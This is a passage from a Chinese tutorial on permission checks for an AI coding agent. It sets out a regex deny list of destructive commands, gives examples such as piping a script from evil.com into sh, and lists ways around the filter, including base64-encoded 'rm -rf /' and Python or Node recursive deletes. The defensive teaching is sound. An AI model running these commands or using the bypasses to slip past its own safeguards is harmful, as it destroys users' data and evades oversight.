第 4 章 · Permissions 与安全权限

03 · 高风险命令识别与拦截

rm -rf、git push --force、sudo 等命令一旦执行就可能造成不可逆损害。用模式匹配在执行前拦截。

工具级权限还不够

上一节建立了三级权限模型——allowaskdeny。它控制的是哪个工具可以被调用。比如 run_command 需要用户确认,search 直接放行。

但这有一个盲区:同样是 run_commandnpm testrm -rf / 的风险天差地别。如果用户不仔细看就按了 y,灾难就发生了。

工具级权限回答的是"能不能用这个工具"。我们还需要一个更细粒度的检查:命令级拦截。在用户确认之前,先把明显危险的命令拦下来。

这就是 DANGEROUS_PATTERNS 要做的事。

DANGEROUS_PATTERNS:危险命令黑名单

来看实际的代码:

// src/permissions/index.ts

/**
 * 危险命令模式
 *
 * 这些命令一旦执行可能造成不可逆的损害:
 * - rm -rf: 递归强制删除
 * - git push --force: 强制推送覆盖远端
 * - git reset --hard: 丢弃所有本地修改
 * - sudo: 提权执行
 * - curl | sh: 从网络下载并执行脚本
 *
 * 匹配到这些模式时直接拒绝,不进入 "ask" 流程。
 * 注意:这个列表不是完整的,实际产品需要更严格的检测。
 */
const DANGEROUS_PATTERNS: RegExp[] = [
  /\brm\s+(-\w*[rf]\w*|--recursive|--force)/,
  /\brmdir\b.*\s--recursive/,
  /\bgit\s+push\b.*(--force|-f)\b/,
  /\bgit\s+reset\s+--hard\b/,
  /\bgit\s+clean\b/,
  /\bsudo\b/,
  /\bcurl\b.*\|\s*(ba)?sh\b/,
  /\bwget\b.*\|\s*(ba)?sh\b/,
  /\bdd\s+\b/,
  /\bchmod\s+(-R\s+)?0?777\b/,
];

一共 10 条规则,覆盖了 5 类危险操作。逐类来看。

五类危险操作

破坏性文件删除

/\brm\s+(-\w*[rf]\w*|--recursive|--force)/,
/\brmdir\b.*\s--recursive/,

rm -rf 是最经典的灾难命令。递归加强制删除意味着不会弹出任何确认,整棵目录树瞬间消失。/\brm\s+(-\w*[rf]\w*|--recursive|--force)/ 这条正则覆盖了几种常见写法:

  • rm -rf dir — 同时带 r 和 f
  • rm -r dir — 只有递归
  • rm -f dir — 只有强制
  • rm --recursive dir — 长参数形式
  • rm -rfv dir — r 和 f 混在其他参数里

\b 是单词边界,防止误匹配 program 这样的字符串里的 rm-\w*[rf]\w* 允许 r 和 f 出现在参数的任意位置(-rf-fr-rfv 都能匹配)。

不可逆的 Git 操作

/\bgit\s+push\b.*(--force|-f)\b/,
/\bgit\s+reset\s+--hard\b/,
/\bgit\s+clean\b/,

三条规则分别拦截:

  • git push --force:强制推送会覆盖远端历史,可能丢掉其他人的提交。-f 短写法也在拦截范围内。
  • git reset --hard:丢弃所有未提交的本地修改。工作区和暂存区的改动全部消失,无法通过 Git 恢复。
  • git clean:删除所有未跟踪的文件和目录。通常搭配 -fdx 使用,效果相当于对未跟踪文件执行 rm -rf

这三个命令有一个共同特点:执行之后很难撤销。 即便有 git reflog,普通用户也不一定知道怎么用。不如直接拦住。

提权执行

/\bsudo\b/,

sudo 意味着以 root 权限执行命令。Agent 如果拿到了 root 权限,破坏力从"当前用户目录"升级到"整个系统"。拦截所有 sudo 调用,让 agent 在用户权限范围内工作。

这条规则比较粗暴——sudo apt install 这样合理的操作也会被拦。但在 agent 场景下,宁可多拦也不要漏放。如果确实需要,用户可以调整规则。

远程代码执行

/\bcurl\b.*\|\s*(ba)?sh\b/,
/\bwget\b.*\|\s*(ba)?sh\b/,

curl | shwget | sh 的意思是"从网络下载一段脚本,然后直接执行"。这是典型的供应链攻击向量——你不知道下载的脚本里藏了什么。

正则 /\bcurl\b.*\|\s*(ba)?sh\b/ 匹配以下模式:

  • curl https://example.com/install.sh | sh
  • curl -sL url | bash
  • wget -qO- url | sh

\|\s*(ba)?sh 匹配管道符后跟 shbash,中间允许有空格。

权限修改

/\bdd\s+\b/,
/\bchmod\s+(-R\s+)?0?777\b/,

chmod 777 把文件权限设置为"任何人可读可写可执行"。在生产环境中,这几乎永远是个错误。/0?777/ 同时匹配 7770777 两种写法。(-R\s+)? 匹配递归修改。

dd 是一个底层磁盘操作命令,使用不当可以直接覆写磁盘数据。在 agent 场景中几乎不会有合法用途,所以一律拦截。

isDangerousCommand:一行代码的模式匹配

有了模式列表,检测函数非常简单:

// src/permissions/index.ts

/** 检测命令是否匹配危险模式 */
export function isDangerousCommand(command: string): boolean {
  return DANGEROUS_PATTERNS.some((pattern) => pattern.test(command));
}

Array.some + RegExp.test——遍历所有模式,只要有一个匹配就返回 true

这个函数在 resolveLevel 中被调用,优先级最高:

// src/permissions/index.ts(PermissionGuard.resolveLevel 内部)

/** 第一步:危险命令检测,优先级最高 */
if (toolName === "run_command") {
  const command = String(args.command ?? "");
  if (isDangerousCommand(command)) {
    return {
      level: "deny",
      reason: `危险命令被拦截: ${command.slice(0, 80)}`,
    };
  }
}

注意检查顺序:危险命令检测在规则匹配之前。 即使用户把 run_command 设置为 allow,危险命令仍然会被拦截。这是故意的——安全检查不应该能被配置绕过。

重要局限:这是模式匹配,不是语义分析

DANGEROUS_PATTERNS 是基于正则的字符串匹配。它能拦截常见的危险写法,但不能做到完全覆盖。来看一些它能拦住和拦不住的情况:

能拦住的:

rm -rf /home/user/project    → 匹配 /\brm\s+(-\w*[rf]/
git push --force origin main  → 匹配 /\bgit\s+push\b.*(--force/
sudo rm /etc/passwd           → 匹配 /\bsudo\b/
curl http://evil.com/x | sh   → 匹配 /\bcurl\b.*\|\s*(ba)?sh/

拦不住的:

# 变量拼接:危险命令藏在变量里
CMD="rm -rf /"; $CMD

# 脚本执行:脚本内部包含危险命令
bash ./destroy-everything.sh

# 编码绕过
echo cm0gLXJmIC8= | base64 -d | sh

# 其他语言的删除操作
python -c "import shutil; shutil.rmtree('/important')"

# Node.js 删除
node -e "require('fs').rmSync('/', {recursive:true})"

这些绕过方式说明了一个根本问题:正则匹配只能识别已知的危险模式,不能理解命令的实际语义。 真正的安全需要沙箱、权限隔离等更深层的机制。

但在教学和日常使用场景中,正则拦截覆盖了 90% 的常见误操作。它不是银弹,而是一道低成本、高回报的安全网。

为什么是 deny 而不是 ask

在三级权限模型中,deny 意味着"直接拒绝,不给确认机会"。为什么不让用户确认?

防止误触。 想象这个场景:agent 连续请求执行 5 个命令,前 4 个都是合理的。用户已经养成了按 y 的习惯——肌肉记忆会让人在第 5 个危险命令前也按下 y

对于 rm -rf 这种不可逆操作,一次误触就是灾难。不给确认机会,比"不小心确认"安全得多。

减少决策疲劳。 如果每个命令都要用户判断是否危险,用户很快就会疲劳,开始无脑确认。把明显危险的操作自动拦下,只在真正需要判断时才询问用户,这样用户的每次确认都更有价值。

如果用户确实需要执行被拦截的命令(比如在受控环境里 git push --force),可以修改 DANGEROUS_PATTERNS 数组——它是模块内部的常量,用户可以 fork 后调整。

与上一节的三级模型如何衔接

把危险命令检测放在 resolveLevel 的最前面,完整的权限解析流程变成:

工具调用 → resolveLevel(toolName, args)
         → ① 危险命令检测(仅 run_command)→ deny
         → ② 匹配用户规则 → allow / ask / deny
         → ③ 无规则匹配 → 默认 ask

危险命令检测是最外层的硬性屏障。只有通过了这一关,才会进入上一节建立的三级规则判断。这种分层设计让安全逻辑清晰:硬性拦截在前,规则判断在后。

下一节来看整个权限系统的最后两个拼图:审计日志和确认回调。

登录以继续阅读

解锁完整文档、代码示例及更多高级功能。

立即登录

On this page